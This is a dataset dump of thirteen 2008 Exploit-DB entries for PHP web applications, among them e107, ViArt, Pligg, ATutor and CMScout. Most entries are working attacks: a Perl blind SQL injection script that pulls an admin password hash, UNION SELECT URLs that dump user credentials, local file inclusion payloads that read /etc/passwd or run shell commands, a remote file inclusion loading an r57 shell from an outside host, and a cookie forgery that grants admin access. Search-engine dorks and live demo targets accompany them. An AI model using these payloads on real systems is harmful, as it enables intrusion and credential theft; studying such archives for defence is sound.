QLWD/code_shield huggingface dataset:
标题: Minishowcase 09b136 - 'lang' Local File Inclusion EDB-ID: 6156 CVE: 2008-3390 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-29 漏洞利用脚本: Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-034


Application:                    Minishowcase Image Gallery      
Versions Affected:              v09b136
Vendor URL:                     http://minishowcase.frwrd.net
Bug:                            Local File Include
Exploits:                       YES
Reported:                       14.07.2008
Second report:                  22.07.2008
Vendor response:                NONE
Solution:                       NONE
Date of Public Advisory:        29.07.2008
Authors:                        Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Minishowcase Image Gallery has local file include vulnerability in script libraries/general.init.php

Vulnerable GET parameters "lang".

Successful exploitation requires that "register_globals" is enabled.

Code
****
#################################################

...
        $_dir_file = dirname(dirname(__FILE__));
        $_dir_path = dirname($_SERVER["DOCUMENT_ROOT"] . $_SERVER['PHP_SELF']);
        
        if ($_dir_file != $_dir_path) {
                if (!isset($settings['minishowcase_url'])
                        || ($settings['minishowcase_url'] == "")) {
                        die ("<p style=\"margin:6px;padding:20px;text-align:left;font-size:18px;background:#f60;color:#FFF;\">ALERT: if you are including minishowcase with PHP into a website, please set the <code>\$minishowcase_url</code> variable in the <code>/config/settings.php</code> file</p>");
                }
        }
...
        if (isset($_GET["lang"])) $set_language = $_GET["lang"];
        $langfile = ROOT.'languages/'.$set_language.'.php';
        require_once($langfile);

#################################################

Example:

http://[server]/[installdir]/libraries/general.init.php?settings[minishowcase_url]=DSecRG&lang=../../../../../../../../../../../../../etc/passwd%00


Solution
********

No response or any updates from vendor.


About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsec [dot] ru
            http://www.dsec.ru (in Russian)

# milw0rm.com [2008-07-29] URL: https://www.exploit-db.com/exploits/6156
标题: e107 Plugin BLOG Engine 2.2 - Blind SQL Injection EDB-ID: 6158 CVE: 2008-6438 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-29 漏洞利用脚本: #!/usr/bin/perl 
#####################################################################################
#         e107 Plugin BLOG Engine v2.2 Blind SQL Injection Exploit                  #
#                           ..::virangar security team::..                          #
#                              www.virangar.net                                     #
#                 C0d3d BY:virangar security team ( hadihadi  )                     #
#special tnx to:                                                                    #
#MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra                                     #
#& all virangar members & all hackerz                                               #
# my lovely friends hadi_aryaie2004 & arash(imm02tal)                               #
#             ..:::Young Iranina Hackerz::..                                        #
#####################################################################################
#[-] note: becuse e107 using diffrent prefix/table names may it's not work good,but i wrote it for default mod  ;) 
#this code is for english e107's only,if you want work on other languages,you can edit line 67;)

use HTTP::Request;
use LWP::UserAgent;

if (@ARGV != 1){
header();
}

$host = $ARGV[0];

print "\n md5 Password:\r\n";
&halghe();
print "\n[+]Done\n";


sub halghe {
for($i = 1; $i <= 32; $i++){
 $f = 0;
 $n = 48;
 while(!$f && $n <= 57)
 {
  if(&inject($host, $i, $n,)){
 $f = 1;
     syswrite(STDOUT, chr($n), 1);
   }
$n++;
}
if(!$f){ 
$n=97;
while(!$f && $n <= 102)
 {
  if(&inject($host, $i, $n,)){
 $f = 1;
     syswrite(STDOUT, chr($n), 1);
   }
$n++;
}}
}
}
sub inject {
my $site = $_[0];
my $a = $_[1];
my $b = $_[2];

$col = "user_password";

$attack= "$site"."%20and%20substring((select%20"."$col"."%20from%20e107_user%20where%20user_id=1%20limit%200,1),"."$a".",1)=char("."$b".")/*";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$req = $b->request(HTTP::Request->new(GET=>$attack));
$res = $req->content;

if ($res !~ /The user has hidden their blog./i){
    return 1;
}

}
sub header {
print qq{
###################################################################
# e107 Plugin BLOG Engine v2.2 Blind SQL Injection Exploit        #
#                  (just for english e107's)                      #
#                      www.virangar.net                           #
#   Useage: perl $0 Host                                          #
#                                                                 #
#   Host: full patch to macgurublog.php+uid (dont forget http://) #
#                                                                 #
#  Example:                                                       #
# perl $0 http://site/macgurublog_menu/macgurublog.php?uid=5      #
#                                                                 #
###################################################################
};
}

# milw0rm.com [2008-07-29] URL: https://www.exploit-db.com/exploits/6158
标题: PHP Hosting Directory 2.0 - Remote File Inclusion EDB-ID: 6160 CVE: 2008-3455 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-29 漏洞利用脚本: # Name Of Script : PHP Hosting Directory 2.0 
# Download From : http://jnshosts.com/download/phphost_directory.zip
# Found By : RoMaNcYxHaCkEr
# My Homepage : WwW.4RxH.CoM
# My Group : [RoMaNTiC-TeaM]
# Type Of Exploit : RFI
# P.O.C. : http://WwW.4RxH.CoM/phphost_directoryv2/include/admin.php?rd=http://site.com/r57.txt?
# Good Luck
# Note : If You Lamerz , Kidz Or Snitch Just I Said For You (Fuck You)
# Contact Me : RxH0@HoTMaiL.CoM
# rXh
# bEST wISHES

# milw0rm.com [2008-07-29] URL: https://www.exploit-db.com/exploits/6160
标题: ATutor 1.6.1-pl1 - 'import.php' Remote File Inclusion EDB-ID: 6153 CVE: 2008-3368 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-28 漏洞利用脚本: #####################################################################################
####                         ATutor Course Server Rfi                            ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (R3d.W0rm)                                                        #
#Discovered by : IRCRASH (R3d.W0rm)                                                 #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm                                         #
#####################################################################################
#                                                                                   #
#Script Download : www.atutor.ca                                                    #
#                                                                                   #
#DORK : "Web site engine's code is copyright Â© 2001-2007 ATutorÂ®"                   #
#                                                                                   #
#Note : You must login , then use rfi bug  ;)                                       #
#####################################################################################
#                                       [Rfi]                                       #
#                                                                                   #
#http://Example/tools/packages/import.php                                           #
#                                                                                   #
#                                    [Valun Code]                                   #
#  ....                                                                             #
# if (isset ($_POST['type'])) {                                                     #
# require ($_POST['type'] . '/import.php');                                   #
#}                                                                                  #
#  ....                                                                             #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################

# milw0rm.com [2008-07-28] URL: https://www.exploit-db.com/exploits/6153
标题: PHP Hosting Directory 2.0 - Insecure Cookie Handling EDB-ID: 6163 CVE: 2008-3454 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-30 漏洞利用脚本: # PHP Hosting Directory 2.0 Insecure Cookie Handling Vulnerability  
# Name Of Script : PHP Hosting Directory 2.0
# Download From : http://jnshosts.com/download/phphost_directory.zip
# Discoverd By :Stack
# Home : http://v4-team.com
---
exploit:
javascript:document.cookie = "adm=1; path=/"; document.cookie = "adm=1; path=/";

# milw0rm.com [2008-07-30] URL: https://www.exploit-db.com/exploits/6163
标题: ZeeReviews - SQL Injection EDB-ID: 6165 CVE: 2008-3669 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-30 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability
##
## ZeeReviews ( comments.php ItemID )
##                            
## http://www.zeescripts.com                            
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.AtsDp.CoM
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
##
## -[[: Exploite :]]-
##
##   www.Target.com/comments.php?ItemID=1+UNION+SELECT+CONCAT_WS(0x3a,username,password)+FROM+zr_users--
##
########################
########################

#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: ****** :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-07-30] URL: https://www.exploit-db.com/exploits/6165
标题: ViArt Shop 3.5 - 'category_id' SQL Injection EDB-ID: 6154 CVE: 2008-3369 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-28 漏洞利用脚本: ##########################################################
# GulfTech Security Research                July 28, 2008
##########################################################
# Vendor : ViArt, Ltd
# URL : http://www.viart.com/
# Version : ViArt Shop <= 3.5
# Risk : SQL Injection
##########################################################


Description:
ViArt Shop is a full featured online ecommerce solution written
in php. There is a high risk SQL Injection in ViArt that allows
for an attacker to take over the ViArt installation. This
vulnerability is present regardless of magic_quotes configuration.
An updated version of ViArt has been released and all users are
encouraged to upgrade their ViArt installation as soon as possible.


SQL Injection:
There is a high risk SQL Injection vulnerability in ViArt that
allows for an attacker to run arbitrary queries via a malicious
request. The vulnerable code can be found in "products_rss.php".
As seen below the "$category_id" variable is never sanitized within
the query, and is never sanitized prior to that point either.

if ($category_id == 0){
    $sql = "SELECT category_id, friendly_url FROM " . $table_prefix . "categories WHERE category_path like '%".$category_id.",%' AND is_showing = 1 ";
} else {
    $sql = "SELECT category_id, friendly_url FROM " . $table_prefix . "categories WHERE category_path like '%,".$category_id.",%' AND is_showing = 1 ";
}

This allows for an attacker to easily select arbitrary data
from the database such as usernames,passwords, and even credit
card information. it should also be noted that ViArt strips
slashes from within the get_param() function, so magic_quotes
does not prevent this SQL Injection from happening.

/products_rss.php?category_id=1' UNION SELECT concat(login,char(58),password),0 FROM va_admins -- /*

A url like the one above will successfully grab the admin info
from the database, and then attempt to use the admin data in a
query, where it will then error. Still, the admin credentials
will be displayed in the SQL Error as part of the faulty query
and visible to the attacker. It is also worth mentioning that
ViArt stores all credentials in plain text, so once an attacker
has the credentials he is guaranteed access to the application.



Solution:
The ViArt developers have released a patch for the vulnerable
ViArt 3.5. Users are encouraged t upgrade as soon as possible.



Credits:
James Bercegay of the GulfTech Security Research Team



Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00118-07292008

# milw0rm.com [2008-07-28] URL: https://www.exploit-db.com/exploits/6154
标题: GC Auction Platinum - 'cate_id' SQL Injection EDB-ID: 6144 CVE: 2008-3413 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-27 漏洞利用脚本: |___________________________________________________|
|
| GC Auction Platinum (cate_id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
|
| script : http://www.greatclone.com/product_info.php?products_id=73
|
| DorK   : inurl:category.php?cate_id=
|___________________________________________________|



Exploit:  

www.[target].com/Script/category.php?cate_id=-2+UNION+SELECT+1,concat_ws(0x3a,user_name,password),3+from+admin--

Exploit:2

www.[target].com/Script/category.php?cate_id=-2+UNION+SELECT+1,concat_ws(0x3a,user_name,password),3,4+from+admin--

 



L!VE DEMO: :


http://www.demosgreatclone.com/gca/category.php?cate_id=-2+UNION+SELECT+1,concat_ws(0x3a,user_name,password),3+from+admin--




____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|   
| Iraqihack | FAHD | mos_chori | Silic0n 
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-07-27] URL: https://www.exploit-db.com/exploits/6144
标题: TalkBack 2.3.5 - 'Language' Local File Inclusion EDB-ID: 6148 CVE: 2008-3371 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-28 漏洞利用脚本: =============================================================================================================

  [o] TalkBack 2.3.5 Local File Inclusion Vulnerability

       Software : TalkBack version 2.3.5
       Vendor   : http://www.scripts.oldguy.us/talkback
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com

=============================================================================================================

  [o] Vulnerable file

       install/help.php

        include "../language/{$_REQUEST['language']}.php";



  [o] Exploit

       http://localhost/[path]/install/help.php?language=[LFI]%00


=============================================================================================================

  [o] Greetz

       supported by irc.nob0dy.net
       skulmatic olibekas ulga Cungkee nyubi k1tk4t str0ke
       H312Y yooogy mousekill }^-^{ martfella
       okegay OoN_Gay pagay (sungguh penyembunyian sebuah karakter dibalik makna kata) /me brb ngakak..  :) 
 
=============================================================================================================

# milw0rm.com [2008-07-28] URL: https://www.exploit-db.com/exploits/6148
标题: SiteAdmin CMS - 'art' SQL Injection EDB-ID: 6145 CVE: 2008-3414 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-27 漏洞利用脚本: SiteAdmin CMS Remote Sql Injection Vuln.

Download : http://www.as-admin.com

Cr@zy_King / sqL Lov3r'Z Crew Co.

http://localhost/line2.php?lng=ru&art=16+limit+0+union+select+1,2,concat_ws(0x3a3a,user_login,user_passw),4,5,6,7+from+auth_users+limit+3,10/*&cat=2

Admin Panel : http://localhost/patch/admin/index.php

Thanks : aLL My Friend'Z

                    www.biyosecurity.com

                 ================From Turkey====================

# milw0rm.com [2008-07-27] URL: https://www.exploit-db.com/exploits/6145
标题: Pligg CMS 9.9.0 - 'story.php' SQL Injection EDB-ID: 6146 CVE: 2008-3366 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-28 漏洞利用脚本: |___________________________________________________|
|
|    Pligg Beta 9.9.0 (id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
|
| script : http://www.pligg.com/
|
| DorK   : Powered By Pligg | Legal: License and Source
|
| version :  9.9.0 
|___________________________________________________|



Exploit:  


USER :

www.[target].com/Script/story.php?id=-4+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,user_login,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+pligg_users--


PASSWORD :

story.php?id=-4+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,user_pass,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+pligg_users--


EMAIL :

www.[target].com/Script/story.php?id=-4+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,user_email,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+pligg_users--

 



L!VE DEMO: :

USER :

http://www.pligg.com/demo01/story.php?id=-4+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,user_login,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+pligg_users--

PASSWORD :

http://www.pligg.com/demo01/story.php?id=-4+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,user_pass,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+pligg_users--







____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|   
| Iraqihack | FAHD | mos_chori | Silic0n 
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-07-28] URL: https://www.exploit-db.com/exploits/6146
标题: TriO 2.1 - 'browse.php' SQL Injection EDB-ID: 6141 CVE: 2008-3418 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-26 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##############################################################
 #   [ TriO <= 2.1 ]   Remote SQL Injection Vulnerability     #
 ##############################################################
 # 
 # [ Script: "TriO, iO's new web-based module, enables you to quickly, easily, and securely make your collections..." ]
 #
 # [ Script site: http://www.willo.com/io/trio.asp ]
 # 
 # [ Default table_name with users: Webusers ]
 # 
 # [ Vuln: browse.php ]  
 # http://site.com/browse.php?id=-1+UNION+SELECT+EMAIL+from+Webusers--
 # http://site.com/browse.php?id=-1+UNION+SELECT+SUPERSECRETPASSWORD+from+Webusers-- 
 # 
 # 
 # [ Dork example: "This website is powered by Trio" ]
 #
 #####################################################
 # Greetz: D3m0n_DE * Voo|doo * str0ke and otherz..
 #####################################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-07-26] URL: https://www.exploit-db.com/exploits/6141
标题: CMScout 2.05 - 'bit' Local File Inclusion EDB-ID: 6142 CVE: 2008-3415 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-27 漏洞利用脚本: #####################################################################################
####                            CMScout 2.05 LFI                                 ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (R3d.W0rm)                                                        #
#Discovered by : IRCRASH (R3d.W0rm)                                                 #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm                                         #
#####################################################################################
#                                                                                   #
#Script Download : www.cmscout.co.za                                                #
#                                                                                   #
#DORK : "Powered by CMScout Â©2005 CMScout Group"                                    #
#                                                                                   #
#####################################################################################
#                                       [Lfi]                                       #
#http://Example/common.php?bit=file.type%00                                         #
#                                                                                   #
#Note : You can mix a shell code and image then upload this image as your avatar and load it by this bug,your avatars save in /avatars folder  ;) 
#Ex. http://Example/common.php?bit=avatars/0254d5d7v15d_sd5e5550053.jpg%00&cmd=ls   # 
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
################################ TNX GOD ############################################

# milw0rm.com [2008-07-27] URL: https://www.exploit-db.com/exploits/6142